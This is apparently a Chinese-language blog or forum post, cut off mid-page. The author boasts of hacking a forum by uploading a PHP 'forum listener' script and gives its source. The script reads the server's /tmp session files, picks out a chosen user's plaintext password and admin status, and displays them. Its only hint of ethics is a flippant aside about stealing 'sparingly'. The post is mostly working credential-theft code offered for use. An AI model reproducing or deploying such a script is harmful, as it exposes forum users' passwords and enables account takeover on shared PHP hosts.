之所以是能寫出來這個函數，主要是對該網站的session結構清楚，如：name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1"，也知道該session存放的位置，而且可以上傳文件，所以嘛，當時就做了一次小小的黑客，在線的朋友的密碼可以一覽無余，呵呵：
<?
function submit1(){
global $username;
print "<title>論壇監聽器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧？連我你也查？";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]==""".$username."""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用戶筆名:".$name[2]."<br>使用密碼:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理員</font>";
else
print "一般用戶";
print"<br><br>偷竊他人密碼是不道德行為請少少為之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用戶:".$username."真的在線嗎？如你確定，<a href='javascript：history.go(-1)'>請再來一次</a>，不要多打空格！";
$d->close();
}
function login(){
?>
<html>
<head>
<title>論壇監聽器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>論壇監聽器 </p>
<p> </p>
